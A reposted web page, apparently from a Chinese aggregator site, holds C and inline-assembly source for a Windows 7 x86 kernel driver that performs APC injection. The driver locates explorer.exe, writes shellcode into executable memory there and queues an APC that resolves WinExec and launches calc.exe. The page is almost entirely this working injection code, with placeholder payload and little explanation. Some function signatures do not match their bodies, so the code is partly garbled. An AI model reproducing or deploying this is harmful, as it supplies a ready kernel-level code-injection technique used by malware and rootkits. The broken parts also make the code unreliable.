APC Injection of Windows 7 x86 in R0(2)
发布时间:2021-01-04 18:21 所属栏目:52 来源:网络整理
导读:source.c #include "Header.h"NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDrvObj,IN PUNICODE_STRING pRegStr){ UNREFERENCED_PARAMETER(pRegStr); NTSTATUS ntStatus = STATUS_SUCCESS; DbgPrint("[+] DriverEntry
source.c #include "Header.h" NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDrvObj,IN PUNICODE_STRING pRegStr) { UNREFERENCED_PARAMETER(pRegStr); NTSTATUS ntStatus = STATUS_SUCCESS; DbgPrint("[+] DriverEntry !\n"); pDrvObj->DriverUnload = DriverUnload; HANDLE hThread; ntStatus = PsCreateSystemThread( &hThread,NULL,NtCurrentProcess(),ThreadFunc,NULL ); if (!NT_SUCCESS(ntStatus)) { DbgPrint("[-] PsCreateSystemThread Failed!\n"); } return ntStatus; } VOID DriverUnload(IN PDRIVER_OBJECT pDrvObj) { UNREFERENCED_PARAMETER(pDrvObj); DbgPrint("[+] DriverUnload!\n"); } VOID ThreadFunc(IN PVOID pParam) { UNREFERENCED_PARAMETER(pParam); BOOLEAN bTrue = TRUE; NTSTATUS ntStatus = STATUS_SUCCESS; POINTER tarEprocess = 0,tarEthread = 0; HANDLE hProcess = NULL; PKEVENT pKevent = NULL; SIZE_T shellcodeSize = 0; PVOID addrAllocMem = NULL; KAPC_STATE ApcState; while (bTrue) // This while is a program skill learn form MSDN { //Find a process's EPROCESS which can be inserted APC if (FindTargetEProcessAndEthread(&tarEprocess,&tarEthread) != TRUE) { DbgPrint("[-] FindTargetEProcessAndEthread Failed!\n"); break; } //Alloc mem and copy code in target process shellcodeSize = (ULONG)(UserExec_end)-(ULONG)(UserExec); DbgPrint("[+] User Thread Shellcode Size: %d bytes\n",shellcodeSize); ntStatus = ObOpenObjectByPointer((PVOID)tarEprocess,OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE,GENERIC_ALL,*PsProcessType,KernelMode,&hProcess ); if (!NT_SUCCESS(ntStatus)) { DbgPrint("[-] ObOpenObjectByPointer Failed!\n"); break; } ntStatus = ZwAllocateVirtualMemory(hProcess,&addrAllocMem,&shellcodeSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE); if (!NT_SUCCESS(ntStatus)) { DbgPrint("[-] ZwAllocateVirtualMemory Failed!\n"); break; } KeStackAttachProcess((PEPROCESS)tarEprocess,&ApcState); RtlCopyMemory(addrAllocMem,(PVOID)((ULONG)UserExec),shellcodeSize); KeUnstackDetachProcess(&ApcState); //Create KEVENT pKevent = ExAllocatePool(NonPagedPool,sizeof(KEVENT)); if (!pKevent) { DbgPrint(("[-] ExAllocatePool(pKevent) Failed!\n")); break; } KeInitializeEvent(pKevent,NotificationEvent,FALSE); //Insert APC in target process if (InsertApc(tarEthread,(ULONG)addrAllocMem,pKevent)) { DbgPrint("[+] Insert Apc Successfully!\n"); KeWaitForSingleObject(pKevent,Executive,FALSE,NULL); } else { DbgPrint("[-] Insert Apc Failed!\n"); } break; } //Clear if (pKevent) { ExFreePool(pKevent); } if (hProcess) { if (addrAllocMem) { LARGE_INTEGER liTime; // Negative value means relative time,not absolute liTime =RtlConvertLongToLargeInteger(-(LONG)1000*10000*10); //Callers of KeDelayExecutionThread must be running at IRQL <= APC_LEVEL. DbgPrint("KeGetCurrentIrql = %d\n",KeGetCurrentIrql()); KeDelayExecutionThread(KernelMode,TRUE,&liTime); //Maybe the user mode shellcode executed,otherewise free the shellcode memory will crash the explorer.exe ZwFreeVirtualMemory(hProcess,MEM_RELEASE); } ZwClose(hProcess); } DbgPrint("[+] Thread End!\n"); //Terminate the system thread PsTerminateSystemThread(STATUS_SUCCESS); } BOOLEAN InsertApc(POINTER tarEthread,PKEVENT pKevent ) { PKAPC pKapc; pKapc = ExAllocatePool(NonPagedPool,sizeof(KAPC)); if (pKapc == NULL) { DbgPrint("[-] ExAllocatePool(NonPagedPool,sizeof(KAPC)) Failed!\n"); return FALSE; } //Initialize APC KeInitializeApc(pKapc,(PKTHREAD)tarEthread,OriginalApcEnvironment,(PVOID)(ULONG)KernelApcCallback,(PVOID)addrAllocMem,UserMode,NULL); //Set the _ETHREAD._KTHREAD._KAPC_STATE.UserApcPending DbgPrint("[+] xxx %x\n",tarEthread); *((PUCHAR)(tarEthread + USERAPCPENDING_OFFSET)) = 1; if (!KeInsertQueueApc(pKapc,pKevent,(PVOID)tarEthread,0)) { //Reset the _ETHREAD._KTHREAD._KAPC_STATE.UserApcPending *((PUCHAR)(tarEthread + USERAPCPENDING_OFFSET)) = 0; ExFreePool(pKapc); DbgPrint("[-] KeInsertQueueApc Failed!\n"); return FALSE; } return TRUE; } VOID KernelApcCallback(PKAPC Apc,PVOID* SystemArg2) { UNREFERENCED_PARAMETER(NormalRoutine); UNREFERENCED_PARAMETER(NormalContext); UNREFERENCED_PARAMETER(SystemArg2); PKEVENT pKevent; POINTER tarEthread; pKevent = (PKEVENT)*SystemArg1; tarEthread = (POINTER)*SystemArg2; if (pKevent) { //Reset the _ETHREAD._KTHREAD._KAPC_STATE.UserApcPending *((PUCHAR)(tarEthread + USERAPCPENDING_OFFSET)) = 0; KeSetEvent(pKevent,IO_NO_INCREMENT,FALSE); } ExFreePool(Apc); } BOOLEAN FindTargetEProcessAndEthread(POINTER* ptarEprocess,POINTER* ptarEthread) { POINTER beginEprocess,curEprocess,beginEthread,curEthread; BOOLEAN bRet = FALSE; beginEprocess = (POINTER)PsGetCurrentProcess(); curEprocess = beginEprocess; //Travser backwards from the current eprocess to find the explorer's eprocess do { //eprocess.ObjectTable == NULL means it is a dead process if (*((POINTER*)(curEprocess + OBJECTTABLE_OFFSET)) != 0 && 0 == _stricmp(((char*)(curEprocess + IMAGEFILENAME_OFFSET)),"explorer.exe")) { *ptarEprocess = curEprocess; bRet = TRUE; break; } curEprocess = *((POINTER*)(curEprocess + ACTIVEPROCESSLINKS_OFFSET)) - ACTIVEPROCESSLINKS_OFFSET; } while (curEprocess != beginEprocess); //Travers thread if (bRet) { bRet = FALSE; beginEthread = *((POINTER*)(*ptarEprocess + THREADLISTHEAD_OFFSET)) - THREADLISTENTRY_OFFSET; curEthread = beginEthread; do { if (*((POINTER*)(curEthread + TEB_OFFSET)) != 0) { *ptarEthread = curEthread; bRet = TRUE; break; } curEthread = *((POINTER*)(beginEthread + THREADLISTENTRY_OFFSET)) - THREADLISTENTRY_OFFSET; } while (curEthread!=beginEthread); } return bRet; } __declspec(naked) void UserExec() { __asm { push ebp mov ebp,esp sub esp,150h pushad mov eax,fs:[0x30];// peb mov ebx,[eax + 0xc]; //peb->Ldr mov esi,[ebx + 0x14];//peb->Ldr.Inmemorder lodsd;//eax="ntdll.dll" xchg eax,esi; lodsd;//eax="kernel32.dll" mov ebx,[eax + 0x10]; //ebx = base address mov edx,[ebx + 0x3c]; //DOS->e_ifanew add edx,ebx; // PE header mov edx,[edx + 0x78];// edx = offset of EAT add edx,ebx;// EAT mov esi,[edx + 0x20]; //Address of Names(RVA) add esi,ebx;//Name Table xor ecx,ecx;//index=0 Find_index: inc ecx; lodsd;//mov eax,[esi] RVA add eax,ebx; cmp dword ptr[eax],0x50746547;//PteG jnz Find_index; cmp dword ptr[eax + 0x4],0x41636f72;//Acor jnz Find_index; cmp dword ptr[eax + 0x8],0x65726464; //erdd jnz Find_index; //get! mov esi,[edx + 0x24];//AddressOfNameOrdinals RVA add esi,ebx;//Ord Table mov cx,[esi + ecx * 2];//cx = realindex mov esi,[edx + 0x1c];//AddressOfFunction RVA add esi,ebx;// dec ecx;// indx-1 mov edx,[esi + ecx * 4]; add edx,ebx;//GetProcAddress real address push 0x00636578;//xec push 0x456E6957;//WinE push esp; push ebx; call edx; add esp,8 push 0; push 0x636c6163;//calc mov edi,esp; push 0; push edi; call eax; add esp,8 popad mov esp,ebp pop ebp ret } } __declspec(naked) void UserExec_end(VOID) { } Conclusion(编辑:ASP站长网) |
相关内容
网友评论
推荐文章
热点阅读